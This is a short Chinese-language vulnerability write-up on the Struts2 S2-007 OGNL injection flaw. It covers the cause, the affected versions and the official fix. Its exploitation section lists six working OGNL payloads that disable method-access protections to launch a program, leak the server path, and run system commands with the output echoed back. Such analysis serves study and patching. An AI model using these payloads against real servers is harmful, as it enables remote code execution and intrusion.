[JavaWeb]Struct2-007漏洞分析
Strut2-007
漏洞描述
Struts2-007是一个远程代码执行漏洞。
影响版本
Struts 2.0.0 - Struts 2.2.3
漏洞分析
- 当碰到validator校验失败的会将数据重写后放到OverrideStack
-
在处理时将字符串两边同时添加了一个单引号
-
Struts2 结束标签时,会将用户输入值经过 OGNL 执行并返回。如果先前 OgnlValueStack.overrides 存储过相关字段,则会先从 OgnlValueStack.overrides 中取出相关值,然后再通过 OGNL 执行
-
从ognl.overrides中找加了单引号的age,再经过ognl解析。
漏洞点,如果传入的是'+{code}+',经过处理后就变为了''+{code}+'',再进行ognl解析,便可以被解析为代码,从而导致了任意代码执行
漏洞利用
# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#req=@org.apache.struts2.ServletActionContext@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#req=@org.apache.struts2.ServletActionContext@getRequest()#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true#context["xwork.MethodAccessor.denyMethodExecution"]=false#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
漏洞修复
官方先将传入的字符串进行了转义,再在外边加一个双引号,从而确保只能是一个普通的字符串。